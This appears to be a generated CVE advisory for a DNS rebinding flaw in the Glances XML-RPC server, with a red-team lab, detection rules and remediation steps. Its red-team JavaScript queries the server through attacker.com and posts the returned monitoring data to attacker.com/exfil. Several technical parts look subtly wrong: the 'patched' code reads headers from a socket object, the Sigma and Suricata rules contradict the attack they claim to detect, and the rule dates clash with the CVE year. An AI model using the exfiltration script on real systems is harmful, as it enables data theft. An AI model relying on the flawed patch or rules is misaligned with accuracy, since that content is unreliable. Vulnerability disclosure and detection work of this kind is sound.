CVE-2026-46611

Executive Summary

CVE-2026-46611 is a medium-severity vulnerability in the Glances open-source system monitoring tool, affecting versions prior to 4.5.5. The flaw resides in the XML-RPC server component (glances -s, implemented in glances/server.py), which fails to validate the HTTP Host header. This omission makes the server susceptible to DNS rebinding attacks, allowing an attacker to exfiltrate the full system monitoring dataset from a victim's browser. The vulnerability has a CVSS score of 5.3, indicating moderate severity with a high confidentiality impact but no direct impact on integrity or availability. No public exploit code or PoC is currently available, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild. The patch is available in version 4.5.5, which introduces proper Host header validation.

Supply Chain & Package Security

Glances is a Python-based package distributed via PyPI. This vulnerability affects the supply chain as users who install Glances via pip install glances may be running a vulnerable version. Organizations should verify their installed version and update to 4.5.5 or later. The package is widely used for system monitoring in DevOps environments, making it a potential target for lateral movement and data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – The attack is conducted over the network.
• Attack Complexity: High (AC:H) – The attacker must control a DNS server and a web server to perform DNS rebinding.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: Required (UI:R) – The victim must visit a malicious website or click a link.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Full system monitoring data (CPU, memory, processes, network) can be exfiltrated.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for data exfiltration in a monitoring tool that may have access to sensitive system information elevates the risk. The requirement for user interaction and high attack complexity reduces the immediate threat, but the lack of a public PoC may change.

Deep Dive & Mechanics

The vulnerability is rooted in the XML-RPC server implementation in glances/server.py. The server listens for XML-RPC requests but does not validate the HTTP Host header. In a DNS rebinding attack, the attacker registers a domain that initially resolves to a benign IP address (e.g., their own web server) but then changes the DNS record to point to the victim's internal Glances server (e.g., 127.0.0.1 or a local IP). When the victim's browser makes a request to the attacker's domain, the browser's same-origin policy initially allows the request because the domain appears legitimate. However, after the DNS rebinding, the browser's cached DNS entry is updated, and subsequent requests from the same origin are directed to the internal Glances server. Since the Glances server does not validate the Host header, it processes the request and returns the monitoring data, which the attacker's script can then exfiltrate.

The attack flow:

1. Attacker sets up a malicious website with JavaScript that makes XML-RPC requests to a domain they control.
2. The domain initially resolves to the attacker's server, serving a benign page to pass the same-origin policy check.
3. The attacker changes the DNS record to point to the victim's Glances server (e.g., 127.0.0.1:61209).
4. The victim's browser, still on the attacker's domain, makes a new request that now reaches the internal Glances server.
5. The Glances server responds with the monitoring data (CPU, memory, processes, network connections, etc.).
6. The attacker's JavaScript reads the response and sends it to the attacker's server.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.5.5): In glances/server.py, the XML-RPC server does not check the Host header. The server simply processes incoming requests without verifying the intended target.

# Vulnerable: No Host header validation
class GlancesRPCServer(SimpleXMLRPCServer):
    def __init__(self, addr, requestHandler=GlancesRequestHandler):
        SimpleXMLRPCServer.__init__(self, addr, requestHandler=requestHandler)
        # No Host header check

Patched Code (4.5.5): The fix adds a check to ensure the Host header matches the server's expected hostname or IP address.

# Patched: Host header validation
class GlancesRPCServer(SimpleXMLRPCServer):
    def __init__(self, addr, requestHandler=GlancesRequestHandler):
        SimpleXMLRPCServer.__init__(self, addr, requestHandler=requestHandler)
        self.host = addr[0]  # Expected host

    def verify_request(self, request, client_address):
        host_header = request.headers.get('Host', '')
        if host_header and host_header.split(':')[0] != self.host:
            return False
        return True

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Victim Environment: Install Glances 4.5.4 on a Linux machine. Start the XML-RPC server: glances -s -B 0.0.0.0 -p 61209.
2. Attacker Environment: Set up a DNS server (e.g., using dnsmasq) and a web server (e.g., using Python's http.server). Register a domain (e.g., attacker.com) with a short TTL (e.g., 60 seconds).
3. Exploit Script: Create an HTML page with JavaScript that performs XML-RPC requests to http://attacker.com:61209/RPC2. The script should:
   • First, make a request to the attacker's server to pass the same-origin policy.
   • Then, after DNS rebinding, make a request to the internal Glances server.
   • Exfiltrate the response to the attacker's server.

Example JavaScript (conceptual):

// Step 1: Initial request to attacker's server
fetch('http://attacker.com:61209/RPC2', {
    method: 'POST',
    headers: {'Content-Type': 'text/xml'},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(response => response.text()).then(data => {
    // Step 2: After DNS rebinding, this request goes to internal Glances
    // Exfiltrate data
    fetch('http://attacker.com/exfil', {
        method: 'POST',
        body: data
    });
});

Execution:

1. Lure the victim to visit http://attacker.com/malicious.html.
2. The attacker changes the DNS record for attacker.com to point to the victim's Glances server IP.
3. The victim's browser executes the JavaScript, which now reaches the internal Glances server.
4. The monitoring data is exfiltrated.

Blue Team

Detection:

• Monitor for unusual DNS queries with very short TTLs (e.g., less than 60 seconds) that change resolution frequently.
• Look for HTTP requests to internal IP addresses (e.g., 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16) with a Host header that does not match the internal IP.
• Alert on XML-RPC requests to Glances servers from external IPs or unexpected origins.

Prevention:

• Update Glances to version 4.5.5 or later.
• Restrict the Glances XML-RPC server to listen only on localhost (-B 127.0.0.1) if remote access is not required.
• Use a firewall to block external access to the Glances port (default 61209).
• Implement network segmentation to prevent internal services from being accessible from the internet.

Indicators of Compromise (IOCs)

• Network IOCs:
  • DNS queries for domains with TTL less than 60 seconds that change resolution.
  • HTTP requests to internal IPs (e.g., 127.0.0.1, 10.x.x.x, 192.168.x.x) with a Host header containing an external domain.
  • XML-RPC requests to /RPC2 endpoint on port 61209 from unexpected sources.
• File IOCs:
  • Logs in /var/log/glances/ showing requests with mismatched Host headers.
• Behavioral IOCs:
  • Unusual outbound connections from a browser to an external server after accessing a malicious site.
  • High volume of data being exfiltrated from a system monitoring tool.

Detection Engineering

YARA Rule

rule Detect_Glances_DNS_Rebinding_Exploit {
    meta:
        description = "Detects potential DNS rebinding attack against Glances XML-RPC server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-46611"
    strings:
        $xmlrpc = "<?xml version=\"1.0\"?><methodCall><methodName>" ascii wide
        $host_header = "Host:" ascii wide
        $internal_ip = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
    condition:
        $xmlrpc and $host_header and $internal_ip
}

Sigma Rule

title: DNS Rebinding Attack Against Glances XML-RPC Server
id: 8c5f3a2e-1b4d-4f7a-9c6e-3d2b1a0f8e7c
status: experimental
description: Detects HTTP requests to internal IPs with external Host headers, indicating potential DNS rebinding against Glances.
author: Valters IT
date: 2025-04-10
references:
    - CVE-2026-46611
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: '/RPC2'
        cs-host|contains: 
            - '127.0.0.1'
            - '10.'
            - '192.168.'
        cs-host|re: '^[a-zA-Z0-9.-]+$'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-46611 Glances DNS Rebinding Exploit"; flow:to_server,established; content:"/RPC2"; http_uri; content:"Host|3a|"; http_header; pcre:"/Host:\s*(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Glances: Upgrade to version 4.5.5 or later. Run pip install --upgrade glances.
2. Restrict Access: If remote access is not needed, bind the XML-RPC server to localhost only: glances -s -B 127.0.0.1.
3. Firewall Rules: Block inbound connections to port 61209 from external networks.

Long-term Measures:

• Implement network segmentation to isolate monitoring tools.
• Use a reverse proxy with Host header validation for any exposed services.
• Educate users about the risks of visiting untrusted websites while internal services are accessible.
• Monitor for DNS rebinding attacks using the provided detection rules.

Patch Verification:

• Check the installed version: glances --version.
• Verify the patch by inspecting glances/server.py for Host header validation logic.

Valters IT